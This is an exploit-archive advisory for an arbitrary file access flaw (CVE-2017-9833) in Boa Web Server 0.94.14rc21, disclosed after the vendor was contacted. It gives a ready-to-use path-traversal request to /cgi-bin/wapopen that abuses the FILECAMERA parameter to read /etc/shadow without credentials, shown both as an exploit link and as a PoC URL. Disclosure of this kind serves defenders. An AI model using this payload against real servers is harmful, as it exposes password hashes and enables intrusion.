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BOA Web Server 0.94.14rc21 Arbitrary File Access

BOA Web Server 0.94.14rc21 Arbitrary File Access
Posted Jul 3, 2017
Authored by Miguel Mendez Z

BOA Web Server version 0.94.14rc21 an arbitrary file access vulnerability.

tags | exploit, web, arbitrary
advisories | CVE-2017-9833
MD5 | aaea3bb5ba1b420b9f8f2471697656b2

BOA Web Server 0.94.14rc21 Arbitrary File Access

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BOA Web Server 0.94.14 - Access to arbitrary files as privileges

Title: Vulnerability in BOA Webserver 0.94.14
Date: 20-06-2017
Status: Vendor contacted, patch available
Scope: Arbitrary file access
Platforms: Unix
Author: Miguel Mendez Z
Vendor Homepage: http://www.boa.org
Version: Boa Webserver 0.94.14rc21
CVE: CVE-2017-9833


Vulnerability description
-------------------------
-We can read any file located on the server
The server allows the injection of "../.." using the FILECAMERA variable sent by GET to read files with root privileges. Without using access credentials

Vulnerable variable:
FILECAMERA=../../etc/shadow%00

Exploit link:
/cgi-bin/wapopen?B1=OK&NO=CAM_16&REFRESH_TIME=Auto_00&FILECAMERA=../../etc/shadow%00&REFRESH_HTML=auto.htm&ONLOAD_HTML=onload.htm&STREAMING_HTML=streaming.htm&NAME=admin&PWD=admin&PIC_SIZE=0

Poc:
http://127.0.0.1/cgi-bin/wapopen?B1=OK&NO=CAM_16&REFRESH_TIME=Auto_00&FILECAMERA=../../etc/shadow%00&REFRESH_HTML=auto.htm&ONLOAD_HTML=onload.htm&STREAMING_HTML=streaming.htm&NAME=admin&PWD=admin&PIC_SIZE=0

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